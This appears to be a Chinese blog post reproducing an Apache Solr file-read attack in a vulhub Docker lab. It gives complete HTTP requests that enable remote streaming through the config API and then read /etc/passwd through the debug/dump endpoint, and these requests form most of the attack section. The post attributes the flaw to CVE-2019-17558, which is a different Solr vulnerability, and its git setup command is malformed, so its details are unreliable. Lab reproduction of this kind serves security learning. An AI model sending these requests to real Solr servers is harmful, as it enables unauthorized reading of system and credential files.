Apache Solr <= 8.8.1任意文件读取漏洞复现CVE-2019-17558

一、环境准备

搭建环境vulhub,需要提前安装docker环境

docker安装:docker--安装docker-ce-CSDN博客

vulhub地址:https://github.com/vulhub/vulhub

#创建靶场环境
mkdir /opt/vulhub
cd /opt/vulhub
git https://github.com/vulhub/vulhub.git #git拉取失败请用主机下砸zip上传虚拟机或云服务器
cd /opt/vulhub/vulhub-master/solr/CVE-2019-17558
docker-compose up -d

windows安装jdk环境

下载bp抓包工具

 

二、抓包测试

 获取name信息,如果使用的是

http://*.*.*.*:8983/solr/admin/cores?indexInfo=false&wt=json

name属性为demo 

{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{
    "demo":{
      "name":"demo",
      "instanceDir":"/var/solr/data/demo",
      "dataDir":"/var/solr/data/demo/data/",
      "config":"solrconfig.xml",
      "schema":"managed-schema",
      "startTime":"2024-01-16T07:46:24.405Z",
      "uptime":165859}}}

打开bp,设置代理,浏览器也要设置,虚拟机设置127.0.0.1,云服务器设置公网IP,端口自定义(默认是8080),bp与浏览器一致即可,另外与本机服务不冲突

判断漏洞是否存在,返回正确说明存在

POST /solr/demo/config HTTP/1.1
Host: *.*.*.*:8983
Content-Length: 92
Connection: close

{
	"set-property":{
		"requestDispatcher.requestParsers.enableRemoteStreaming":true
	}
}

 

三、构造特殊请求包获取敏感数据

构造读取/etc/passwd

POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: *.*.*.*:8983
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Connection: close

stream.url=file:///etc/passwd

获取成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值